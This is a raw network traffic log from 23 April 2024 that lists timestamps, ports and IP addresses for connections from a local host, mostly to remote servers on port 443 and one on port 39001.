Apr 23, 2024 23:02:23.232032061 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.237579107 CEST	443	49856	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.237873077 CEST	49856	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.237893105 CEST	443	49856	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.238358974 CEST	443	49856	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.238708973 CEST	49856	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.238786936 CEST	443	49856	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.238856077 CEST	49856	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.242326975 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.242398024 CEST	49850	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.242399931 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.242413998 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.242456913 CEST	49850	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.242465973 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.242484093 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.242538929 CEST	49850	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.243093014 CEST	49850	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.243100882 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.243469954 CEST	49858	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.243521929 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.243585110 CEST	49858	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.244502068 CEST	49858	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.244520903 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.267765999 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.267803907 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.267836094 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.267858982 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.267875910 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.267882109 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.267906904 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.268804073 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.268912077 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.268925905 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.276444912 CEST	49854	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.278316021 CEST	49859	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:23.280172110 CEST	443	49856	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.301291943 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.301315069 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.301352024 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.301368952 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.301400900 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.304064989 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.304076910 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.304128885 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.304151058 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.310425043 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.310508013 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.310514927 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.310559988 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.310956001 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.310966015 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.311383963 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.311402082 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.311665058 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.312258959 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.312274933 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.336429119 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.336452961 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.336491108 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.336513042 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.336544037 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.336565971 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.342886925 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:23.343147039 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:23.343168974 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:23.345031977 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:23.345119953 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:23.346165895 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:23.346250057 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:23.346359015 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:23.346368074 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:23.350260019 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.350353003 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.350374937 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.361567020 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.361597061 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.361605883 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.361625910 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.361659050 CEST	49854	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.361671925 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.361684084 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.361701965 CEST	49854	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.361722946 CEST	49854	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.363157034 CEST	49854	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.363177061 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.363488913 CEST	49861	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.363504887 CEST	443	49861	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.363596916 CEST	49861	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.364209890 CEST	49861	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.364224911 CEST	443	49861	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.370942116 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.370959044 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.370985985 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.371006012 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.371014118 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.371031046 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.371046066 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.371061087 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.382412910 CEST	39001	49847	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:23.387094021 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:23.403398991 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.403423071 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.403439045 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.403461933 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.403480053 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.403496981 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.403513908 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.403515100 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.403542995 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.403542995 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.403562069 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.403584957 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.407998085 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.408058882 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.408067942 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.408118010 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.408245087 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.408468008 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.408489943 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.408504963 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.408843994 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.408885002 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.408941984 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.409389973 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.409410954 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.409442902 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.409454107 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.409471989 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.409506083 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.409641981 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.409655094 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.413499117 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.413578987 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.413590908 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.439210892 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.439249039 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.439258099 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.439279079 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.439280987 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.439301014 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.439358950 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.453716993 CEST	443	49856	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.453758001 CEST	443	49856	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.453824043 CEST	49856	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.453845978 CEST	443	49856	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.453923941 CEST	443	49856	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.453939915 CEST	49856	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.453975916 CEST	49856	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.455559969 CEST	49856	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.455585957 CEST	443	49856	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.455774069 CEST	49856	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.455801010 CEST	49856	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.456090927 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.456119061 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.456597090 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.456881046 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.456895113 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.460515976 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.460725069 CEST	49858	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.460740089 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.461189985 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.461519003 CEST	49858	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.461604118 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.461663008 CEST	49858	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.466569901 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.466583967 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.466612101 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.466643095 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.466655970 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.466675997 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.466702938 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.476667881 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.476733923 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.476751089 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.481379986 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.481439114 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.481455088 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.481498003 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.481514931 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.481564045 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.481950998 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.481965065 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.482377052 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.482417107 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.482476950 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.483069897 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.483088017 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.489491940 CEST	39001	49859	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:23.489561081 CEST	49859	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:23.497782946 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.499475002 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.499484062 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.500001907 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.502594948 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.502685070 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.503617048 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.503634930 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.503645897 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.508110046 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.534219980 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.534446955 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.534456968 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.535546064 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.535895109 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.536045074 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.536051035 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.536067009 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.578749895 CEST	49865	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.578769922 CEST	443	49865	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.579022884 CEST	49865	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.579312086 CEST	49865	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.579324961 CEST	443	49865	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.580164909 CEST	443	49861	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.580436945 CEST	49861	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.580445051 CEST	443	49861	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.580918074 CEST	443	49861	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.581264019 CEST	49861	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.581336975 CEST	443	49861	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.581407070 CEST	49861	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.589605093 CEST	49858	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.589633942 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.606023073 CEST	49859	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:23.624121904 CEST	443	49861	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.631340981 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.631678104 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.631707907 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.635310888 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.635382891 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.635806084 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.635983944 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.635986090 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.672648907 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.672895908 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.672910929 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.673948050 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.674037933 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.674340963 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.674408913 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.674506903 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.674514055 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.677592039 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.677618980 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.677628994 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.677663088 CEST	49858	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.677664995 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.677685022 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.677699089 CEST	49858	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.677711964 CEST	49858	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.677735090 CEST	49858	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.677745104 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.677831888 CEST	49858	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.679475069 CEST	49858	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.679486990 CEST	443	49858	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.679862976 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.679905891 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.679971933 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.680120945 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.680789948 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.680808067 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.699875116 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.700272083 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.700283051 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.700731039 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.701035023 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.701112032 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.701220989 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.744040966 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.744081974 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.744126081 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.744195938 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.744402885 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.744415998 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.755356073 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.755419970 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.755445004 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.755482912 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.755490065 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.755503893 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.755525112 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.755539894 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.755553007 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.755561113 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.755594969 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.755605936 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.779655933 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.794637918 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.794658899 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.794682026 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.800875902 CEST	443	49865	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.801245928 CEST	49865	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.801255941 CEST	443	49865	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.802337885 CEST	443	49865	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.802714109 CEST	49865	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.802882910 CEST	49865	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.802882910 CEST	443	49865	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.804948092 CEST	443	49861	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.804986954 CEST	443	49861	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.805021048 CEST	443	49861	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.805042982 CEST	49861	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.805052042 CEST	443	49861	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.805067062 CEST	49861	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.805075884 CEST	443	49861	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.805335999 CEST	49861	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.809535980 CEST	49861	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.809545040 CEST	443	49861	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.810069084 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.810107946 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.810332060 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.811048031 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.811064005 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.844142914 CEST	443	49865	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.858572960 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.858649015 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.858684063 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.860169888 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.860184908 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.860202074 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.860212088 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.860219955 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.860243082 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.860268116 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.860281944 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.860290051 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.860312939 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.861756086 CEST	39001	49859	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:23.861807108 CEST	49859	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:23.868496895 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.868556023 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.868597984 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.868621111 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.868633986 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.868655920 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.868680954 CEST	49857	443	192.168.2.4	52.159.108.190
